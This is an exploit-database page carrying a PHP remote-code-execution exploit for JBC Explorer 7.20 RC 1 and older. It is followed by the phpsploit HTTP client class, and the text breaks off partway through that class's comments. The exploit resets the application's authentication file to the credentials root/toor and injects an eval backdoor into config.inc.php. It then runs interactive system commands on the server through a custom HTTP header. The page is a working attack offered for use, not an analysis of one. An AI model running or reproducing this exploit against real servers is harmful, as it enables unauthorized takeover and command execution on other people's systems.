Lucene search
K

JBC Explorer <= 7.20 RC 1 Remote Code Execution Exploit

🗓️ 07 Nov 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

JBC Explorer <= 7.20 RC 1 Remote Code Executio

Code

                                                #!/usr/bin/php
&lt;?php
error_reporting(E_ALL&nbsp;^&nbsp;E_NOTICE);

head();
if($argc&nbsp;&lt;&nbsp;3)&nbsp;usage();

$url&nbsp;=&nbsp;getparam('url',&nbsp;true);
$prx&nbsp;=&nbsp;getparam('proxy',&nbsp;false);
$pra&nbsp;=&nbsp;getparam('proxyauth',&nbsp;false);
$cod&nbsp;=&nbsp;'eval($_SERVER[HTTP_SHELL]);';

$xpl&nbsp;=&nbsp;new&nbsp;phpsploit();
$xpl-&gt;agent('Mozilla&nbsp;Firefox');
$xpl-&gt;allowredirection(1);
$xpl-&gt;cookiejar(1);

if($prx)&nbsp;$xpl-&gt;proxy($prx);
if($pra)&nbsp;$xpl-&gt;proxyauth($pra);

print&nbsp;&quot;0x01&gt;Deleting&nbsp;the&nbsp;file&nbsp;auth.inc.php&quot;;
$xpl-&gt;post($url.'dirsys/modules/auth.php',&nbsp;'suppr=1');

print&nbsp;&quot;\n0x02&gt;Creating&nbsp;the&nbsp;file&nbsp;auth.inc.php&quot;;
$xpl-&gt;post($url.'dirsys/modules/auth.php',&nbsp;'login=root&amp;password=toor');

print&nbsp;&quot;\n0x03&gt;Trying&nbsp;to&nbsp;log&nbsp;in&nbsp;as&nbsp;Administrator&quot;;
$xpl-&gt;post($url.'dirsys/modules/auth.php',&nbsp;'login=root&amp;password=toor');

//&nbsp;Minimum&nbsp;data&nbsp;necessary&nbsp;(fwrite&nbsp;without&nbsp;quote)
$minimdata&nbsp;=
'WIDTH_TREE_FRAME=1&amp;FRAME_BORDER=1&amp;WIDTH_FRAME_BORDER=1&amp;WIDTH_FRAME_SP'.
'ACING=1&amp;SCROLING_TREE_FRAME=1&amp;RESIZE_FRAME=1&amp;WIDTH_TD_SIZE=1&amp;WIDTH_TD'.
'_TYPE=1&amp;WIDTH_TD_DATE=1&amp;STYLE=1&amp;TOTALSIZE=1&amp;CHECK_MAJ=1&amp;IMAGE_BROWSER'.
'=1&amp;IMAGE_TN=1&amp;GD2=1&amp;IMAGE_JPG=1&amp;IMAGE_GIF=1&amp;IMAGE_BMP=1&amp;IMAGE_TN_SIZE'.
'=1&amp;IMAGE_TN_COMPRESSION=1&amp;NB_COLL_TN=1&amp;EXIF_READER=1&amp;SLIDE_SHOW=1&amp;DEB'.
'UG=0;'.urlencode($cod).'//&amp;SLIDE_SHOW_INT=1&amp;BACK=1&amp;WRITE_TN=1&amp;AUTO_RE'.
'SIZE=1&amp;DETAILS=1&amp;DIRINFO_LIFE=1&amp;activer_Message=1';

print&nbsp;&quot;\n0x04&gt;Creating&nbsp;the&nbsp;file&nbsp;config.inc.php&quot;;
$xpl-&gt;post($url.'dirsys/modules/config/post.php',&nbsp;$minimdata);
print&nbsp;&quot;\n0x05&gt;Now&nbsp;enter&nbsp;your&nbsp;commands&quot;;

do&nbsp;
{
	$xpl-&gt;addheader('Shell',&nbsp;&quot;@system($cmd);&quot;);
	$xpl-&gt;get($url.'dirsys/config.inc.php');
	print&nbsp;$xpl-&gt;getcontent().&quot;\n0x06&gt;&quot;;
}
while(!eregi('^quit|exit$',&nbsp;$cmd&nbsp;=&nbsp;trim(fgets(STDIN))));

exit(0);


function&nbsp;getparam($param,$opt='')
{
	global&nbsp;$argv;
	
	foreach($argv&nbsp;as&nbsp;$value&nbsp;=&gt;&nbsp;$key)
	{
		if($key&nbsp;==&nbsp;'-'.$param)
		&nbsp;&nbsp;&nbsp;return&nbsp;$argv[$value+1];
	}
	
	if($opt)
	&nbsp;&nbsp;&nbsp;usage();
	else
	&nbsp;&nbsp;&nbsp;return&nbsp;FALSE;
}

function&nbsp;head()
{
	print&nbsp;
	&quot;\nJBC&nbsp;Explorer&nbsp;&lt;=&nbsp;V7.20&nbsp;RC&nbsp;1\n&quot;.
	&quot;Remote&nbsp;Code&nbsp;Execution&nbsp;Exploit\n\n&quot;.
	&quot;by&nbsp;DarkFig&nbsp;&lt;gmdarkfig&nbsp;(at)&nbsp;gmail&nbsp;(dot)&nbsp;com&gt;\n&quot;.
	&quot;http://acid-root.new.fr/\n&quot;.
	&quot;#[email protected]\n\n&quot;;
}

function&nbsp;usage()
{
	print
	&quot;Usage:\n&quot;.
	&quot;sploit.php&nbsp;-url&nbsp;&lt;url&gt;&nbsp;[Options]\n\n&quot;.
	&quot;Options:\n&quot;.
	&quot;-proxy&nbsp;&lt;proxyhost:proxyport&gt;&quot;.
	&quot;\n-proxyauth&nbsp;&lt;proxyuser:proxypwd&gt;\n&quot;;
	
	exit(1);
}

/*
&nbsp;*&nbsp;
&nbsp;*&nbsp;Copyright&nbsp;(C)&nbsp;darkfig
&nbsp;*&nbsp;
&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;free&nbsp;software;&nbsp;you&nbsp;can&nbsp;redistribute&nbsp;it&nbsp;and/or&nbsp;
&nbsp;*&nbsp;modify&nbsp;it&nbsp;under&nbsp;the&nbsp;terms&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;
&nbsp;*&nbsp;as&nbsp;published&nbsp;by&nbsp;the&nbsp;Free&nbsp;Software&nbsp;Foundation;&nbsp;either&nbsp;version&nbsp;2&nbsp;
&nbsp;*&nbsp;of&nbsp;the&nbsp;License,&nbsp;or&nbsp;(at&nbsp;your&nbsp;option)&nbsp;any&nbsp;later&nbsp;version.&nbsp;
&nbsp;*&nbsp;
&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;distributed&nbsp;in&nbsp;the&nbsp;hope&nbsp;that&nbsp;it&nbsp;will&nbsp;be&nbsp;useful,&nbsp;
&nbsp;*&nbsp;but&nbsp;WITHOUT&nbsp;ANY&nbsp;WARRANTY;&nbsp;without&nbsp;even&nbsp;the&nbsp;implied&nbsp;warranty&nbsp;of&nbsp;
&nbsp;*&nbsp;MERCHANTABILITY&nbsp;or&nbsp;FITNESS&nbsp;FOR&nbsp;A&nbsp;PARTICULAR&nbsp;PURPOSE.&nbsp;&nbsp;See&nbsp;the&nbsp;
&nbsp;*&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;for&nbsp;more&nbsp;details.&nbsp;
&nbsp;*&nbsp;
&nbsp;*&nbsp;You&nbsp;should&nbsp;have&nbsp;received&nbsp;a&nbsp;copy&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;
&nbsp;*&nbsp;along&nbsp;with&nbsp;this&nbsp;program;&nbsp;if&nbsp;not,&nbsp;write&nbsp;to&nbsp;the&nbsp;Free&nbsp;Software&nbsp;
&nbsp;*&nbsp;Foundation,&nbsp;Inc.,&nbsp;59&nbsp;Temple&nbsp;Place&nbsp;-&nbsp;Suite&nbsp;330,&nbsp;Boston,&nbsp;MA&nbsp;&nbsp;02111-1307,&nbsp;USA.
&nbsp;*&nbsp;
&nbsp;*&nbsp;TITLE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PhpSploit&nbsp;Class
&nbsp;*&nbsp;REQUIREMENTS:&nbsp;&nbsp;&nbsp;PHP&nbsp;4&nbsp;/&nbsp;PHP&nbsp;5
&nbsp;*&nbsp;VERSION:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.0
&nbsp;*&nbsp;LICENSE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License
&nbsp;*&nbsp;ORIGINAL&nbsp;URL:&nbsp;&nbsp;&nbsp;http://www.acid-root.new.fr/tools/03061230.txt
&nbsp;*&nbsp;FILENAME:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;phpsploitclass.php
&nbsp;*
&nbsp;*&nbsp;CONTACT:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[email protected]&nbsp;(french&nbsp;/&nbsp;english)
&nbsp;*&nbsp;GREETZ:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sparah,&nbsp;Ddx39
&nbsp;*
&nbsp;*&nbsp;DESCRIPTION:
&nbsp;*&nbsp;The&nbsp;phpsploit&nbsp;is&nbsp;a&nbsp;class&nbsp;implementing&nbsp;a&nbsp;web&nbsp;user&nbsp;agent.
&nbsp;*&nbsp;You&nbsp;can&nbsp;add&nbsp;cookies,&nbsp;headers,&nbsp;use&nbsp;a&nbsp;proxy&nbsp;server&nbsp;with&nbsp;(or&nbsp;without)&nbsp;a
&nbsp;*&nbsp;basic&nbsp;authentification.&nbsp;It&nbsp;supports&nbsp;the&nbsp;GET&nbsp;and&nbsp;the&nbsp;POST&nbsp;method.&nbsp;It&nbsp;can
&nbsp;*&nbsp;also&nbsp;be&nbsp;used&nbsp;like&nbsp;a&nbsp;browser&nbsp;with&nbsp;the&nbsp;cookiejar()&nbsp;function&nbsp;(which&nbsp;allow
&nbsp;*&nbsp;a&nbsp;server&nbsp;to&nbsp;add&nbsp;several&nbsp;cookies&nbsp;for&nbsp;the&nbsp;next&nbsp;requests)&nbsp;and&nbsp;the
&nbsp;*&nbsp;allowredirection()&nbsp;function&nbsp;(which&nbsp;allow&nbsp;the&nbsp;script&nbsp;to&nbsp;follow&nbsp;all
&nbsp;*&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server).&nbsp;It&nbsp;can&nbsp;return&nbsp;the&nbsp;content&nbsp;(or&nbsp;the
&nbsp;*&nbsp;headers)&nbsp;of&nbsp;the&nbsp;request.&nbsp;Others&nbsp;useful&nbsp;functions&nbsp;can&nbsp;be&nbsp;used&nbsp;for&nbsp;debugging.
&nbsp;*&nbsp;A&nbsp;manual&nbsp;is&nbsp;actually&nbsp;in&nbsp;development&nbsp;but&nbsp;to&nbsp;know&nbsp;how&nbsp;to&nbsp;use&nbsp;it,&nbsp;you&nbsp;can
&nbsp;*&nbsp;read&nbsp;the&nbsp;comments.
&nbsp;*
&nbsp;*&nbsp;CHANGELOG:
&nbsp;*
&nbsp;*&nbsp;[2007-06-10]&nbsp;(2.0)
&nbsp;*&nbsp;&nbsp;*&nbsp;Code:&nbsp;Code&nbsp;optimization
&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;Compatible&nbsp;with&nbsp;PHP&nbsp;4&nbsp;by&nbsp;default
&nbsp;*
&nbsp;*&nbsp;[2007-01-24]&nbsp;(1.2)
&nbsp;*&nbsp;&nbsp;*&nbsp;Bug&nbsp;#2&nbsp;fixed:&nbsp;Problem&nbsp;concerning&nbsp;the&nbsp;getcookie()&nbsp;function&nbsp;((|;))
&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;multipart/form-data&nbsp;enctype&nbsp;is&nbsp;now&nbsp;supported&nbsp;
&nbsp;*
&nbsp;*&nbsp;[2006-12-31]&nbsp;(1.1)
&nbsp;*&nbsp;&nbsp;*&nbsp;Bug&nbsp;#1&nbsp;fixed:&nbsp;Problem&nbsp;concerning&nbsp;the&nbsp;allowredirection()&nbsp;function&nbsp;(chr(13)&nbsp;bug)
&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;You&nbsp;can&nbsp;now&nbsp;call&nbsp;the&nbsp;getheader()&nbsp;/&nbsp;getcontent()&nbsp;function&nbsp;without&nbsp;parameters
&nbsp;*
&nbsp;*&nbsp;[2006-12-30]&nbsp;(1.0)
&nbsp;*&nbsp;&nbsp;*&nbsp;First&nbsp;version
&nbsp;*&nbsp;
&nbsp;*/

class&nbsp;phpsploit
{
	var&nbsp;$proxyhost;
	var&nbsp;$proxyport;
	var&nbsp;$host;
	var&nbsp;$path;
	var&nbsp;$port;
	var&nbsp;$method;
	var&nbsp;$url;
	var&nbsp;$packet;
	var&nbsp;$proxyuser;
	var&nbsp;$proxypass;
	var&nbsp;$header;
	var&nbsp;$cookie;
	var&nbsp;$data;
	var&nbsp;$boundary;
	var&nbsp;$allowredirection;
	var&nbsp;$last_redirection;
	var&nbsp;$cookiejar;
	var&nbsp;$recv;
	var&nbsp;$cookie_str;
	var&nbsp;$header_str;
	var&nbsp;$server_content;
	var&nbsp;$server_header;
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the
	&nbsp;*&nbsp;get()/post()/formdata()&nbsp;functions.
	&nbsp;*&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it,&nbsp;this&nbsp;is
	&nbsp;*&nbsp;the&nbsp;main&nbsp;function.
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;private
	&nbsp;*&nbsp;@return&nbsp;string&nbsp;$this-&gt;recv&nbsp;ServerResponse
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;sock()
	{
		if(!empty($this-&gt;proxyhost)&nbsp;&amp;&amp;&nbsp;!empty($this-&gt;proxyport))
		&nbsp;&nbsp;&nbsp;$socket&nbsp;=&nbsp;@fsockopen($this-&gt;proxyhost,$this-&gt;proxyport);
		else
		&nbsp;&nbsp;&nbsp;$socket&nbsp;=&nbsp;@fsockopen($this-&gt;host,$this-&gt;port);
		
		if(!$socket)
		&nbsp;&nbsp;&nbsp;die(&quot;Error:&nbsp;Host&nbsp;seems&nbsp;down&quot;);
		
		if($this-&gt;method=='get')
		&nbsp;&nbsp;&nbsp;$this-&gt;packet&nbsp;=&nbsp;'GET&nbsp;'.$this-&gt;url.&quot;&nbsp;HTTP/1.1\r\n&quot;;
		&nbsp;&nbsp;&nbsp;
		elseif($this-&gt;method=='post'&nbsp;or&nbsp;$this-&gt;method=='formdata')
		&nbsp;&nbsp;&nbsp;$this-&gt;packet&nbsp;=&nbsp;'POST&nbsp;'.$this-&gt;url.&quot;&nbsp;HTTP/1.1\r\n&quot;;
		&nbsp;&nbsp;&nbsp;
		else
		&nbsp;&nbsp;&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;method&quot;);
		
		if(!empty($this-&gt;proxyuser))
		&nbsp;&nbsp;&nbsp;$this-&gt;packet&nbsp;.=&nbsp;'Proxy-Authorization:&nbsp;Basic&nbsp;'.base64_encode($this-&gt;proxyuser.':'.$this-&gt;proxypass).&quot;\r\n&quot;;
		
		if(!empty($this-&gt;header))
		&nbsp;&nbsp;&nbsp;$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;showheader();
		&nbsp;&nbsp;&nbsp;
		if(!empty($this-&gt;cookie))
		&nbsp;&nbsp;&nbsp;$this-&gt;packet&nbsp;.=&nbsp;'Cookie:&nbsp;'.$this-&gt;showcookie().&quot;\r\n&quot;;
	
		$this-&gt;packet&nbsp;.=&nbsp;'Host:&nbsp;'.$this-&gt;host.&quot;\r\n&quot;;
		$this-&gt;packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;Close\r\n&quot;;
		
		if($this-&gt;method=='post')
		{
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;'Content-Length:&nbsp;'.strlen($this-&gt;data).&quot;\r\n\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;data.&quot;\r\n&quot;;
		}
		elseif($this-&gt;method=='formdata')
		{
			$this-&gt;packet&nbsp;.=&nbsp;'Content-Type:&nbsp;multipart/form-data;&nbsp;boundary='.str_repeat('-',27).$this-&gt;boundary.&quot;\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;'Content-Length:&nbsp;'.strlen($this-&gt;data).&quot;\r\n\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;data;
		}

		$this-&gt;packet&nbsp;.=&nbsp;&quot;\r\n&quot;;
		$this-&gt;recv&nbsp;=&nbsp;'';

		fputs($socket,$this-&gt;packet);

		while(!feof($socket))
		&nbsp;&nbsp;&nbsp;$this-&gt;recv&nbsp;.=&nbsp;fgets($socket);

		fclose($socket);

		if($this-&gt;cookiejar)
		&nbsp;&nbsp;&nbsp;$this-&gt;getcookie();

		if($this-&gt;allowredirection)
		&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;getredirection();
		else
		&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;recv;
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several
	&nbsp;*&nbsp;cookies&nbsp;in&nbsp;the&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;cookn&nbsp;CookieName
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;cookv&nbsp;CookieValue
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;addcookie('name','value')
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;addcookie($cookn,$cookv)
	{
		if(!isset($this-&gt;cookie))
		&nbsp;&nbsp;&nbsp;$this-&gt;cookie&nbsp;=&nbsp;array();

		$this-&gt;cookie[$cookn]&nbsp;=&nbsp;$cookv;
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several
	&nbsp;*&nbsp;headers&nbsp;in&nbsp;the&nbsp;request.
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;headern&nbsp;HeaderName
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;headervalue&nbsp;Headervalue
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;addheader('Client-IP',&nbsp;'128.5.2.3')
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;addheader($headern,$headervalue)
	{
		if(!isset($this-&gt;header))
		&nbsp;&nbsp;&nbsp;$this-&gt;header&nbsp;=&nbsp;array();
		&nbsp;&nbsp;&nbsp;
		$this-&gt;header[$headern]&nbsp;=&nbsp;$headervalue;
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an
	&nbsp;*&nbsp;http&nbsp;proxy&nbsp;server.&nbsp;Several&nbsp;methods
	&nbsp;*&nbsp;are&nbsp;supported.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;proxy&nbsp;ProxyHost
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;integer&nbsp;proxyp&nbsp;ProxyPort
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;proxy('localhost',8118)
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;proxy('localhost:8118')
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;proxy($proxy,$proxyp='')
	{
		if(empty($proxyp))
		{
			$proxarr&nbsp;=&nbsp;explode(':',$proxy);
			$this-&gt;proxyhost&nbsp;=&nbsp;$proxarr[0];
			$this-&gt;proxyport&nbsp;=&nbsp;(int)$proxarr[1];
		}
		else&nbsp;
		{
			$this-&gt;proxyhost&nbsp;=&nbsp;$proxy;
			$this-&gt;proxyport&nbsp;=&nbsp;(int)$proxyp;
		}

		if($this-&gt;proxyport&nbsp;&gt;&nbsp;65535)
		&nbsp;&nbsp;&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;port&nbsp;number&quot;);
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an
	&nbsp;*&nbsp;http&nbsp;proxy&nbsp;server&nbsp;which&nbsp;requires&nbsp;a
	&nbsp;*&nbsp;basic&nbsp;authentification.&nbsp;Several
	&nbsp;*&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;proxyauth&nbsp;ProxyUser
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;proxypass&nbsp;ProxyPass
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;proxyauth('user','pwd')
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;proxyauth('user:pwd');
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;proxyauth($proxyauth,$proxypass='')
	{
		if(empty($proxypass))
		{
			$posvirg&nbsp;=&nbsp;strpos($proxyauth,':');
			$this-&gt;proxyuser&nbsp;=&nbsp;substr($proxyauth,0,$posvirg);
			$this-&gt;proxypass&nbsp;=&nbsp;substr($proxyauth,$posvirg+1);
		}
		else
		{
			$this-&gt;proxyuser&nbsp;=&nbsp;$proxyauth;
			$this-&gt;proxypass&nbsp;=&nbsp;$proxypass;
		}
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;set
	&nbsp;*&nbsp;the&nbsp;'User-Agent'&nbsp;header.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;useragent&nbsp;Agent
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;agent('Firefox')
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;agent($useragent)
	{
		$this-&gt;addheader('User-Agent',$useragent);
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;headers
	&nbsp;*&nbsp;which&nbsp;will&nbsp;be&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;header_str&nbsp;Headers
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;showheader()
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;showheader()
	{
		$this-&gt;header_str&nbsp;=&nbsp;'';
		
		if(!isset($this-&gt;header))
		&nbsp;&nbsp;&nbsp;return;
		&nbsp;&nbsp;&nbsp;
		foreach($this-&gt;header&nbsp;as&nbsp;$name&nbsp;=&gt;&nbsp;$value)
		&nbsp;&nbsp;&nbsp;$this-&gt;header_str&nbsp;.=&nbsp;$name.':&nbsp;'.$value.&quot;\r\n&quot;;
		&nbsp;&nbsp;&nbsp;
		return&nbsp;$this-&gt;header_str;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;cookies
	&nbsp;*&nbsp;which&nbsp;will&nbsp;be&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;cookie_str&nbsp;Cookies
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;showcookie()
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;showcookie()
	{
		$this-&gt;cookie_str&nbsp;=&nbsp;'';
		
		if(!isset($this-&gt;cookie))
		&nbsp;&nbsp;&nbsp;return;
		
		foreach($this-&gt;cookie&nbsp;as&nbsp;$name&nbsp;=&gt;&nbsp;$value)
		&nbsp;&nbsp;&nbsp;$this-&gt;cookie_str&nbsp;.=&nbsp;$name.'='.$value.';&nbsp;';

		return&nbsp;$this-&gt;cookie_str;
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;last
	&nbsp;*&nbsp;formed&nbsp;http&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;packet&nbsp;HttpPacket
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;showlastrequest()
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;showlastrequest()
	{
		if(!isset($this-&gt;packet))
		&nbsp;&nbsp;&nbsp;return;
		else
		&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;packet;
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed
	&nbsp;*&nbsp;http&nbsp;packet&nbsp;with&nbsp;the&nbsp;GET&nbsp;method.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;url&nbsp;Url
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;sock()
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;get('localhost/index.php?var=x')
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;get('http://localhost:88/tst.php')
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;get($url)
	{
		$this-&gt;target($url);
		$this-&gt;method&nbsp;=&nbsp;'get';
		return&nbsp;$this-&gt;sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed
	&nbsp;*&nbsp;http&nbsp;packet&nbsp;with&nbsp;the&nbsp;POST&nbsp;method.
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;url&nbsp;&nbsp;Url
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;data&nbsp;PostData
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;sock()
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;post('http://localhost/','helo=x')
	&nbsp;*&nbsp;
	&nbsp;*/	
	function&nbsp;post($url,$data)
	{
		$this-&gt;target($url);
		$this-&gt;method&nbsp;=&nbsp;'post';
		$this-&gt;data&nbsp;=&nbsp;$data;
		return&nbsp;$this-&gt;sock();
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http
	&nbsp;*&nbsp;packet&nbsp;with&nbsp;the&nbsp;POST&nbsp;method&nbsp;using
	&nbsp;*&nbsp;the&nbsp;multipart/form-data&nbsp;enctype.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;array&nbsp;array&nbsp;FormDataArray
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;sock()
	&nbsp;*&nbsp;@example&nbsp;$formdata&nbsp;=&nbsp;array(
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_url&nbsp;=&gt;&nbsp;'http://localhost/upload.php',
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_boundary&nbsp;=&gt;&nbsp;'123456',&nbsp;#&nbsp;Optional
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'var'&nbsp;=&gt;&nbsp;'example',
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'file'&nbsp;=&gt;&nbsp;array(
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_type&nbsp;=&gt;&nbsp;'image/gif',&nbsp;&nbsp;#&nbsp;Optional
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_transfert&nbsp;=&gt;&nbsp;'binary'&nbsp;#&nbsp;Optional
